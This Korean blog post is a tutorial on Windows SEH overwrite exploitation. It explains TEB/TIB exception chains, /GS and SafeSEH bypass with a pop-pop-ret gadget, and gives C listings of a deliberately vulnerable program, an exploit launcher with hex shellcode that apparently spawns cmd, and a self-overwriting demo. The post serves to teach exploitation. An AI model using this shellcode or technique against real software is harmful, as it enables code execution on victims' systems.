티스토리 뷰

System/Windows

Windows SEH Overwrite

Tribal 2016. 2. 11. 23:23

SEH(Structured Exception Handling) : Windows에서 지원하는 예외처리 중 하나


예외 처리 발생 시 위와 같은 형태로 진행된다.

  1. FS라는 Segment Register의 offset[0]의 값을 참조하여 EXCEPTION_REGISTRATION 이라는 녀석을 찾는다.
  2. EXCEPTION_REGISTRATION 내부의 Exception Handler가 있는데 이를 통해 예외처리를 하기 위한 예외처리를 호출
  3. 찾던 예외처리 핸들이 맞을 경우 예외처리 실행, 아닐 경우 prev를 참고하여 다른 EXCEPTION_REGISTRATION를 찾음
  4. 예외처리가 실행되거나 마지막 EXCEPTION_REGISTRATION에 도달할 때 까지 2~3번 반복

Windows의 SEH 예외처리 방식은 이렇게 진행된다. 

그럼 FS라는 Segment Register가 뭐길래 offset[0]에 EXCEPTION_REGISTRATION가 있는 것일까?

- FS Register는 TEB의 주소가 들어있다.


TEB(Thread Environment Block)는 현재 실행 중인 스레드의 환경정보를 저장하고 있는 구조체이다. 이 녀석의 내부를 살펴보면 아래처럼 되어있다.

사실 이것보다 훨씬 많은 멤버가 들어가 있지만 일단은 TEB의 주소, 즉 TEB의 첫 번째 멤버가 중요하다. 이 TEB의 첫 번째 멤버는 NTTib라는 녀석인데 이 녀석 역시 TIB라는 구조체이다.


TIB(Thread Information Block) 구조체 역시 스레드에 대한 정보를 가지고 있다.

이 TIB 구조체의 첫 번째 멤버는 EXCEPTION_REGISTRATION_RECORD 인데 위에서 본 EXCEPTION_REGISTRATION의 주소를 가진 녀석이라고 생각하면 되겠다. 정리하면 현재 실행 중인 스레드의 EXCEPTION_REGISTRATION 이겠다.


그래서 결국 FS[0] = TEB의 주소 = TEB의 첫 번째 멤버 = TIB의 주소 = TIB의 첫 번째 멤버(EXCEPTION_REGISTRATION_RECORD) 가 되겠다.


위 그림에서 볼 수 있듯이 EXCEPTION_REGISTRATION은 스레드가 가지고 있기 때문인지 Stack에 저장되어 있는 것을 볼 수 있다. Stack에 저장되기 때문에 EXCEPTION_REGISTRATION이 Stack의 Buffer보다 높은 주소에 있을 경우 Overflow를 이용해 덮어쓰는 것도 가능할 것이다. 이것이 SEH Overwrite 이다.


여기서 생각해 볼 수 있는 질문, 왜 귀찮게 바로 ret를 안 덮고 SEH Overwrite를 하는가?

- 물론 ret를 덮어서 공격할 수 있다면 ret가 더 간단하다. 하지만 메모리 방어기법이 ret를 쉽게 덮을 수 있도록 하지 않을 것이다. SEH Overwrite는 /GS(Stack Cookie)를 우회하기 위한 공격 기법이다.



보통 함수를 호출하면 함수의 프롤로그(push ebp, mov)를 진행한 후 변수의 크기만큼 Stack을 할당하고 함수의 본 내용이 시작되게 된다. 하지만 예외처리를 설치할 경우 스크린샷에서도 볼 수 있듯이 main() 함수의 프롤로그를 진행한 후 변수의 크기만큼 Stack을 할당하기 전에 어떤 4가지 값을 Stack에 Push하는 것을 볼 수 있다.



위의 Stack 창처럼 Stack에 Push를 끝내고 ESP를 확장할 것이다. 따라서 결국은 아래와 같은 형태가 될 것이다.



Overflow가 일어날 경우 ret와 Buffer 사이에 있기 때문에 바로 Overwrite 할 수 있겠다.

마음 같아서는 예외처리 시 Exception_Handler의 주소를 호출하기 때문에 Exception_Handler에 바로 Shellcode의 주소를 넣고 실행하고 싶지만 SafeSEH 때문에 넣어줄 수 없다.


SafeSEH

  • Stack의 주소를 Exception_Handler에 넣을 수 없다.
  • MS가 지정한 모듈(kernel32.dll 같은...)의 주소를 Exception_Handler에 넣을 수 없다.

따라서 Handler에는 위 2가지의 주소를 넣을 수 없어 프로그래머가 직접 작성한 코드나 dll에서 pop-pop-ret gadget을 가져와 넣어주고 prev(Next Recode) 부분에 단순히 jmp를 하는 쉘 코드를 채워서 본래 목적의 쉘 코드를 실행할 수 있게 만들 것이다.
※ 이 부분은 이런 식으로 딱 정해져 있는 것은 아니고 몇 가지 다른 방법도 있다.


이 때 handler에 pop-pop-ret gadget을 넣어주는 이유는 Exception_Handler를 통해 예외처리를 호출할 때 ESP가 본래의 위치에서 더 낮은 주소로 이동하기 때문이다. 이 부분에는 예외처리와 관련된 녀석들이 있다.



이 위치의 ESP에서 pop-pop-ret gadget을 실행하게 되면 아래와 같이 된다.



이를 통해 prev로 돌아오게 되고 jmp 쉘 코드를 실행하여 Shellcode 위의 있는 nop으로 점프하고 이걸 타고 흘러가 쉘 코드를 실행하게 된다.


간단한 취약 프로그램 작성

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <process.h>
 
int main(int argc, char* argv[])
{
    char buf[100];
    int* ptr;
 
    if(argc != 2)
    {
        printf("Usage : %s <seh> \n", argv[0]);
        exit(1);
    }
 
    strcpy(buf,argv[1]);
    printf("%s", buf);
 
    _try
    {
        ptr = 0;
        *ptr = 1;
    }
    _except(1)
    {
        printf("exception!!\n");
    }
 
    return 0;
}
cs


강제로 예외처리를 하도록 하는 프로그램을 작성하고 Overwrite하기 위해 디버깅한다.



A를 대충 112개 넣고 B를 4개 넣으니 딱 맞게 handler가 덮이는 것을 볼 수 있다.

따라서 더미를 108개 넣고 prev와 handler를 알맞게 채워주면 공격이 가능하겠다. 그래서 pop-pop-ret gadget을 구해 페이로드를 작성하고 공격했다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <process.h>
#include <windows.h>
 
char shellcode[] = "\x55\x8B\xEC\x33\xDB\x53\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6"
"\x45\xFE\x64\x6A\x05\x8D\x45\xFC\x50\xB8\x4D\x11\x86\x7C\xFF"
"\xD0\x6A\x01\xB8\xA2\xCA\x81\x7C\xFF\xD0";
 
int main(int argc,char *argv[])
{
    char cmd[500];
    int seh;
 
    if(argc < 2)
    {
        printf("usage : %s [offset]\n", argv[0]);
        exit(1);
    }
 
    memset(cmd, 0x90sizeof(cmd));
    memcpy(&cmd[200], shellcode, sizeof(shellcode));
    seh = atoi(argv[1]);
    *(long*) &cmd[seh] = 0x909010eb;
    *(long*) &cmd[seh+4= 0x0040154f;            //pop-pop-ret gadget
    execl("C:\\seh_overwrite.exe""seh_overwrite.exe", cmd, 0);
 
    return 0;
}
 
cs


argv를 통해 인자를 받기 때문에 대충 이런 식으로 짜고 공격해본 결과



pop-pop-ret gadget의 주소의 가장 앞에 NULL이 들어가서 argv가 끊어져서 공격이 제대로 되질 않는다. handler에 넣을 주소와 주소의 맨 앞에 NULL이 들어가지 않는 주소를 찾아본 결과 없기 때문에 이 상태로는 난감하게도 공격을 할 수가 없다...


그래서 만약 페이로드가 끊어지지 않고 들어갔을 경우를 가정하고 공격을 하는 상태의 페이로드를 작성해서 확인해보면


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <process.h>
 
char shellcode[]="\x55\x8B\xEC\x33\xDB\x53\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6"
"\x45\xFE\x64\x6A\x05\x8D\x45\xFC\x50\xB8\x4D\x11\x86\x7C\xFF"
"\xD0\x6A\x01\xB8\xA2\xCA\x81\x7C\xFF\xD0";
 
int main(int argc, char* argv[])
{
    char buf[100];
    char cmd[500];
    int seh;
    int* ptr;
 
    if(argc != 2)
    {
        printf("Usage : %s <seh> \n", argv[0]);
        exit(1);
    }
 
    seh = atoi(argv[1]);
 
    memset(cmd, 0x90sizeof(cmd));
    *(long*)&cmd[seh] = 0x909010EB;
    *(long*)&cmd[seh+4= 0x00401ACF;            //pop-pop-ret gadget
    memcpy(&cmd[seh+30], shellcode, sizeof(shellcode));
 
    memcpy(buf, cmd, sizeof(cmd));                //overwrite!
 
    _try
    {
        ptr = 0;
        *ptr = 1;
    }
    _except(1)
    {
        printf("exception!!\n");
    }
 
    return 0;
}
cs



공격이 성공하는 것을 볼 수 있다. 페이로드가 덮어진 것을 따라 트레이싱 해보면



제대로 덮였을 때를 가정한 그대로 handler가 제대로 덮인 것을 볼 수 있고



handler에 overwrite한 주소로 예외처리를 한 모습을 볼 수 있다.



이 후 pop-pop-ret를 수행하여 prev로 이동하였기 때문에 jmp와 shellcode가 보이는 것도 확인할 수 있다.

-----------------------------------------------------------------------------

도중에 NULL 때문에 제대로 진행되지 않았지만 SEH의 원리를 따라 공격이 제대로 진행되는 점을 확인할 수 있었다...
좀 더 제대로 였다면 좋았을 텐데...

'System > Windows' 카테고리의 다른 글

스레드의 상태  (0) 2016.03.02
Windows ROP  (2) 2016.02.12
Windows Stack OverFlow  (0) 2016.02.11
Windows Shellcode  (0) 2016.01.30
세그먼테이션(Segmentation) 정리  (2) 2016.01.30
댓글
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31